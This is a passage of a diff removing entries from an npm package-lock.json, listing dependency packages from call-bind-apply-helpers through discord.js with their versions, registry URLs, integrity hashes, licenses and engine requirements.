"https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/call-bound": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", - "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "get-intrinsic": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/chai": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", - "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/chalk": { - "version": "5.6.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", - "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", - "license": "MIT", - "engines": { - "node": "^12.17.0 || ^14.13 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/character-entities": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", - "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-entities-legacy": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", - "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/character-parser": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", - "integrity": "sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-regex": "^1.0.3" - } - }, - "node_modules/character-reference-invalid": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", - "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/chardet": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.1.1.tgz", - "integrity": "sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ==", - "license": "MIT" - }, - "node_modules/chokidar": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", - "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", - "license": "MIT", - "dependencies": { - "readdirp": "^5.0.0" - }, - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/chromium-bidi": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/chromium-bidi/-/chromium-bidi-14.0.0.tgz", - "integrity": "sha512-9gYlLtS6tStdRWzrtXaTMnqcM4dudNegMXJxkR0I/CXObHalYeYcAMPrL19eroNZHtJ8DQmu1E+ZNOYu/IXMXw==", - "license": "Apache-2.0", - "dependencies": { - "mitt": "^3.0.1", - "zod": "^3.24.1" - }, - "peerDependencies": { - "devtools-protocol": "*" - } - }, - "node_modules/chromium-bidi/node_modules/zod": { - "version": "3.25.76", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", - "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/cjs-module-lexer": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.2.0.tgz", - "integrity": "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ==", - "license": "MIT" - }, - "node_modules/cli-cursor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", - "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", - "dev": true, - "license": "MIT", - "dependencies": { - "restore-cursor": "^3.1.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/cli-spinners": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", - "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/cli-table3": { - "version": "0.6.5", - "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.5.tgz", - "integrity": "sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "string-width": "^4.2.0" - }, - "engines": { - "node": "10.* || >= 12.*" - }, - "optionalDependencies": { - "@colors/colors": "1.5.0" - } - }, - "node_modules/cliui": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", - "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", - "license": "ISC", - "dependencies": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.1", - "wrap-ansi": "^7.0.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/cliui/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/cliui/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "license": "MIT" - }, - "node_modules/colors": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", - "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.1.90" - } - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/command-exists": { - "version": "1.2.9", - "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz", - "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", - "license": "MIT" - }, - "node_modules/commander": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", - "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", - "dev": true, - "license": "MIT" - }, - "node_modules/constantinople": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-4.0.1.tgz", - "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.6.0", - "@babel/types": "^7.6.1" - } - }, - "node_modules/content-disposition": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.0.1.tgz", - "integrity": "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/content-type": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", - "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cookie": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", - "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie-signature": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", - "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", - "license": "MIT", - "engines": { - "node": ">=6.6.0" - } - }, - "node_modules/cors": { - "version": "2.8.6", - "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", - "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", - "license": "MIT", - "dependencies": { - "object-assign": "^4", - "vary": "^1" - }, - "engines": { - "node": ">= 0.10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/data-uri-to-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", - "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/decode-named-character-reference": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", - "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", - "license": "MIT", - "dependencies": { - "character-entities": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/deep-extend": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/deepmerge": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", - "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/default-browser": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/default-browser/-/default-browser-5.5.0.tgz", - "integrity": "sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw==", - "license": "MIT", - "dependencies": { - "bundle-name": "^4.1.0", - "default-browser-id": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/default-browser-id": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/default-browser-id/-/default-browser-id-5.0.1.tgz", - "integrity": "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/defaults": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", - "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", - "dev": true, - "license": "MIT", - "dependencies": { - "clone": "^1.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/define-data-property": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", - "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", - "license": "MIT", - "dependencies": { - "es-define-property": "^1.0.0", - "es-errors": "^1.3.0", - "gopd": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/define-lazy-prop": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz", - "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/degenerator": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-7.0.1.tgz", - "integrity": "sha512-ABErK0IefDSyHjlPH7WUEenIAX2rPPnrDcDM+TS3z3+zu9TfyKKi07BQM+8rmxpdE2y1v5fjjdoAS/x4D2U60w==", - "license": "MIT", - "dependencies": { - "ast-types": "^0.13.4", - "escodegen": "^2.1.0", - "esprima": "^4.0.1" - }, - "engines": { - "node": ">= 20" - }, - "peerDependencies": { - "quickjs-wasi": "^2.2.0" - } - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/depd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", - "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/dependency-tree": { - "version": "11.4.3", - "resolved": "https://registry.npmjs.org/dependency-tree/-/dependency-tree-11.4.3.tgz", - "integrity": "sha512-Y2gzOJ2Rb2X7MN6pT9llWpXxl5J5s5/11CBpJ5b85DjEqZH7jv3T9RO6HRV/PI/3MDmaKn/g7uoYdYmSb9vLlw==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^12.1.0", - "filing-cabinet": "^5.3.0", - "precinct": "^12.3.1", - "typescript": "^5.9.3" - }, - "bin": { - "dependency-tree": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/dependency-tree/node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/dependency-tree/node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/dequal": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", - "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "license": "Apache-2.0", - "engines": { - "node": ">=8" - } - }, - "node_modules/detective-amd": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/detective-amd/-/detective-amd-6.1.0.tgz", - "integrity": "sha512-fmI6LGMvotqd49QaA3ZYw+q0aGp2yXmMjzIuY6fH9j9YFIXY/73yDhMwhX9cPbhWd+AH06NH1Di/LKOuCH0Ubg==", - "dev": true, - "license": "MIT", - "dependencies": { - "ast-module-types": "^6.0.1", - "escodegen": "^2.1.0", - "get-amd-module-type": "^6.0.2", - "node-source-walk": "^7.0.1" - }, - "bin": { - "detective-amd": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/detective-cjs": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/detective-cjs/-/detective-cjs-6.1.1.tgz", - "integrity": "sha512-pSh7mkCKEtLlmANqLu3KDFS3NV8Hx41jy/JF1/gAWOgU+Uo5QTkeI1tWNP4dWGo4L0E9j18Ez9EPsTleautKqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ast-module-types": "^6.0.1", - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/detective-es6": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/detective-es6/-/detective-es6-5.0.2.tgz", - "integrity": "sha512-+qHHGYhjupiVs4rnIpI9nZ5B130A4AmE35ZX1w33hb46vcZ7T3jfDbvmPw0FhWtMHn5BS5HHu7ZtnZ53bMcXZA==", - "dev": true, - "license": "MIT", - "dependencies": { - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/detective-postcss": { - "version": "8.0.3", - "resolved": "https://registry.npmjs.org/detective-postcss/-/detective-postcss-8.0.3.tgz", - "integrity": "sha512-0AQjxn13b14tLmeXQq0QAFXSP6vBZhWFfmEazyFQ+JVlVwfrYlKF6dGy4R06hqAiSZ9cRvFx0FW4uvVnx0WXiw==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-url-superb": "^4.0.0", - "postcss-values-parser": "^6.0.2" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "postcss": "^8.4.47" - } - }, - "node_modules/detective-sass": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/detective-sass/-/detective-sass-6.0.2.tgz", - "integrity": "sha512-i3xpXHDKS0qI2aFW4asQ7fqlPK00ndOVZELvQapFJCaF0VxYmsNWtd0AmvXbTLMk7bfO5VdIeorhY9KfmHVoVA==", - "dev": true, - "license": "MIT", - "dependencies": { - "gonzales-pe": "^4.3.0", - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/detective-scss": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/detective-scss/-/detective-scss-5.0.2.tgz", - "integrity": "sha512-9JOEMZ8pDh3ShXmftq7hoQqqJsClaGgxo1hghfCeFlmKf5TC/Twtwb0PAaK8dXwpg9Z0uCmEYSrCxO+kel2eEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "gonzales-pe": "^4.3.0", - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/detective-stylus": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/detective-stylus/-/detective-stylus-5.0.1.tgz", - "integrity": "sha512-Dgn0bUqdGbE3oZJ+WCKf8Dmu7VWLcmRJGc6RCzBgG31DLIyai9WAoEhYRgIHpt/BCRMrnXLbGWGPQuBUrnF0TA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/detective-typescript": { - "version": "14.1.2", - "resolved": "https://registry.npmjs.org/detective-typescript/-/detective-typescript-14.1.2.tgz", - "integrity": "sha512-bIeEn0eVi/JRsE1YizBR2ilnMlWRAIBJJ6kXCKNFxEEWhUcEY3R6I3KYIAy48ieURbD1hcb3Ebvl8AqeoPMSzg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/typescript-estree": "^8.58.2", - "ast-module-types": "^6.0.1", - "node-source-walk": "^7.0.1" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "typescript": "^5.4.4 || ^6.0.2" - } - }, - "node_modules/detective-vue2": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/detective-vue2/-/detective-vue2-2.3.0.tgz", - "integrity": "sha512-3gwbZPqVTm9sL9XdZsgEJ7x4x99O853VVZHapQAiEkGuMJMpFPjHDrecSgfqnS5JW3FJfYXesLZGvUOibjn49g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@dependents/detective-less": "^5.0.1", - "@vue/compiler-sfc": "^3.5.32", - "detective-es6": "^5.0.1", - "detective-sass": "^6.0.1", - "detective-scss": "^5.0.1", - "detective-stylus": "^5.0.1", - "detective-typescript": "^14.1.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "typescript": "^5.4.4 || ^6.0.2" - } - }, - "node_modules/devlop": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", - "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", - "license": "MIT", - "dependencies": { - "dequal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/devtools-protocol": { - "version": "0.0.1595872", - "resolved": "https://registry.npmjs.org/devtools-protocol/-/devtools-protocol-0.0.1595872.tgz", - "integrity": "sha512-kRfgp8vWVjBu/fbYCiVFiOqsCk3CrMKEo3WbgGT2NXK2dG7vawWPBljixajVgGK9II8rDO9G0oD0zLt3I1daRg==", - "license": "BSD-3-Clause" - }, - "node_modules/diff": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/diff/-/diff-9.0.0.tgz", - "integrity": "sha512-svtcdpS8CgJyqAjEQIXdb3OjhFVVYjzGAPO8WGCmRbrml64SPw/jJD4GoE98aR7r25A0XcgrK3F02yw9R/vhQw==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.3.1" - } - }, - "node_modules/discord-api-types": { - "version": "0.38.42", - "resolved": "https://registry.npmjs.org/discord-api-types/-/discord-api-types-0.38.42.tgz", - "integrity": "sha512-qs1kya7S84r5RR8m9kgttywGrmmoHaRifU1askAoi+wkoSefLpZP6aGXusjNw5b0jD3zOg3LTwUa3Tf2iHIceQ==", - "license": "MIT", - "workspaces": [ - "scripts/actions/documentation" - ] - }, - "node_modules/discord.js": { - "version": "14.26.4", - "resolved": "https://registry.npmjs.org/discord.js/-/discord.js-14.26.4.tgz", - "integrity": 